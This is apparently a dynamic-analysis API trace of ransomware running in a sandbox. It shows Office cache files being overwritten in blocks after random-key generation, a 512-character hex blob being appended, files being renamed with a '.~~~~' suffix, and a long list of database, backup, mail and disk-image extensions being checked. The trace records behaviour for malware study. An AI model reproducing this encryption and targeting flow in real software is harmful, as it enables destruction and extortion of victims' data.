	[0076.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0076.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0076.713] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.713] GetLastError () returned 0x0
	[0076.713] GetLastError () returned 0x0
	[0076.713] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.713] GetLastError () returned 0x0
	[0076.713] GetLastError () returned 0x0
	[0076.714] ReadFile (in: hFile=0x11c, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.736] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.736] WriteFile (in: hFile=0x11c, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0076.738] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.739] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.741] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.741] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.741] CloseHandle (hObject=0x11c) returned 1
	[0076.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.769] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.~~~~")) returned 1
	[0076.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0076.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0076.791] GetLastError () returned 0x0
	[0076.791] RtlWakeConditionVariable () returned 0x365f70
	[0076.792] GetCurrentThreadId () returned 0x3a4
	[0076.792] GetCurrentThreadId () returned 0x3a4
	[0076.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0076.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0076.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa7a8
	[0076.792] lstrlenW (lpString=".scr") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".scr") returned 0x0
	[0076.792] lstrlenW (lpString=".cmd") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".cmd") returned 0x0
	[0076.792] lstrlenW (lpString=".dll") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dll") returned 0x0
	[0076.792] lstrlenW (lpString=".bat") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".bat") returned 0x0
	[0076.792] lstrlenW (lpString=".cpl") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".cpl") returned 0x0
	[0076.792] lstrlenW (lpString=".sys") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".sys") returned 0x0
	[0076.792] lstrlenW (lpString=".msc") returned 4
	[0076.792] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".msc") returned 0x0
	[0076.793] lstrlenW (lpString=".com") returned 4
	[0076.793] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".com") returned 0x0
	[0076.793] lstrlenW (lpString=".lnk") returned 4
	[0076.793] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".lnk") returned 0x0
	[0076.793] lstrlenW (lpString=".msp") returned 4
	[0076.793] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".msp") returned 0x0
	[0076.793] lstrlenW (lpString=".pif") returned 4
	[0076.793] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".pif") returned 0x0
	[0076.793] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.793] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.793] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0076.794] lstrlenW (lpString=".sqb") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".sqb") returned 0x0
	[0076.794] lstrlenW (lpString=".ost") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".ost") returned 0x0
	[0076.794] lstrlenW (lpString=".txt") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".txt") returned 0x0
	[0076.794] lstrlenW (lpString=".mdt") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".mdt") returned 0x0
	[0076.794] lstrlenW (lpString=".BDB") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".BDB") returned 0x0
	[0076.794] lstrlenW (lpString=".eql") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".eql") returned 0x0
	[0076.794] lstrlenW (lpString=".DBF") returned 4
	[0076.794] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DBF") returned 0x0
	[0076.795] lstrlenW (lpString=".EQL") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".EQL") returned 0x0
	[0076.795] lstrlenW (lpString=".FDB") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".FDB") returned 0x0
	[0076.795] lstrlenW (lpString=".EDB") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".EDB") returned 0x0
	[0076.795] lstrlenW (lpString=".DACPAC") returned 7
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DACPAC") returned 0x0
	[0076.795] lstrlenW (lpString=".VHD") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".VHD") returned 0x0
	[0076.795] lstrlenW (lpString=".DBV") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DBV") returned 0x0
	[0076.795] lstrlenW (lpString=".dacpac") returned 7
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dacpac") returned 0x0
	[0076.795] lstrlenW (lpString=".sdf") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".sdf") returned 0x0
	[0076.795] lstrlenW (lpString=".accdb") returned 6
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".accdb") returned 0x0
	[0076.795] lstrlenW (lpString=".DBX") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DBX") returned 0x0
	[0076.795] lstrlenW (lpString=".MDT") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".MDT") returned 0x0
	[0076.795] lstrlenW (lpString=".SQB") returned 4
	[0076.795] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".SQB") returned 0x0
	[0076.795] lstrlenW (lpString=".vhd") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".vhd") returned 0x0
	[0076.796] lstrlenW (lpString=".bac") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".bac") returned 0x0
	[0076.796] lstrlenW (lpString=".mdf") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".mdf") returned 0x0
	[0076.796] lstrlenW (lpString=".BAK") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".BAK") returned 0x0
	[0076.796] lstrlenW (lpString=".BAC") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".BAC") returned 0x0
	[0076.796] lstrlenW (lpString=".dbs") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dbs") returned 0x0
	[0076.796] lstrlenW (lpString=".vhdx") returned 5
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".vhdx") returned 0x0
	[0076.796] lstrlenW (lpString=".NDF") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".NDF") returned 0x0
	[0076.796] lstrlenW (lpString=".dat") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dat") returned 0x0
	[0076.796] lstrlenW (lpString=".DBS") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DBS") returned 0x0
	[0076.796] lstrlenW (lpString=".CKP") returned 4
	[0076.796] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".CKP") returned 0x0
	[0076.796] lstrlenW (lpString=".edb") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".edb") returned 0x0
	[0076.797] lstrlenW (lpString=".PST") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".PST") returned 0x0
	[0076.797] lstrlenW (lpString=".dbf") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dbf") returned 0x0
	[0076.797] lstrlenW (lpString=".SQL") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".SQL") returned 0x0
	[0076.797] lstrlenW (lpString=".pst") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".pst") returned 0x0
	[0076.797] lstrlenW (lpString=".dbv") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dbv") returned 0x0
	[0076.797] lstrlenW (lpString=".SDF") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".SDF") returned 0x0
	[0076.797] lstrlenW (lpString=".dtxs") returned 5
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dtxs") returned 0x0
	[0076.797] lstrlenW (lpString=".db3") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".db3") returned 0x0
	[0076.797] lstrlenW (lpString=".OST") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".OST") returned 0x0
	[0076.797] lstrlenW (lpString=".dbx") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dbx") returned 0x0
	[0076.797] lstrlenW (lpString=".DB3") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DB3") returned 0x0
	[0076.797] lstrlenW (lpString=".DAT") returned 4
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DAT") returned 0x0
	[0076.797] lstrlenW (lpString=".VHDX") returned 5
	[0076.797] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".VHDX") returned 0x0
	[0076.798] lstrlenW (lpString=".ndf") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".ndf") returned 0x0
	[0076.798] lstrlenW (lpString=".DB") returned 3
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DB") returned 0x0
	[0076.798] lstrlenW (lpString=".sql") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".sql") returned 0x0
	[0076.798] lstrlenW (lpString=".MYD") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".MYD") returned 0x0
	[0076.798] lstrlenW (lpString=".DBT") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DBT") returned 0x0
	[0076.798] lstrlenW (lpString=".ACCDB") returned 6
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".ACCDB") returned 0x0
	[0076.798] lstrlenW (lpString=".fdb") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".fdb") returned 0x0
	[0076.798] lstrlenW (lpString=".bak") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".bak") returned 0x0
	[0076.798] lstrlenW (lpString=".myd") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".myd") returned 0x0
	[0076.798] lstrlenW (lpString=".DTXS") returned 5
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".DTXS") returned 0x0
	[0076.798] lstrlenW (lpString=".ckp") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".ckp") returned 0x0
	[0076.798] lstrlenW (lpString=".dbt") returned 4
	[0076.798] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".dbt") returned 0x0
	[0076.798] lstrlenW (lpString=".db") returned 3
	[0076.799] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".db") returned 0x0
	[0076.799] lstrlenW (lpString=".TXT") returned 4
	[0076.799] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".TXT") returned 0x0
	[0076.799] lstrlenW (lpString=".MDF") returned 4
	[0076.799] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".MDF") returned 0x0
	[0076.799] lstrlenW (lpString=".bdb") returned 4
	[0076.799] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".bdb") returned 0x0
	[0076.799] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.799] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.799] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.800] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.800] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.800] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19679050421) returned 1
	[0076.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97ac94f0, dwHighDateTime=0x1d60e1e)) 
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa508
	[0076.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0076.801] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.801] GetLastError () returned 0x0
	[0076.801] GetLastError () returned 0x0
	[0076.801] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.801] GetLastError () returned 0x0
	[0076.802] GetLastError () returned 0x0
	[0076.803] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.848] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.848] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.851] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.851] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.855] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.855] CloseHandle (hObject=0x134) returned 1
	[0076.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
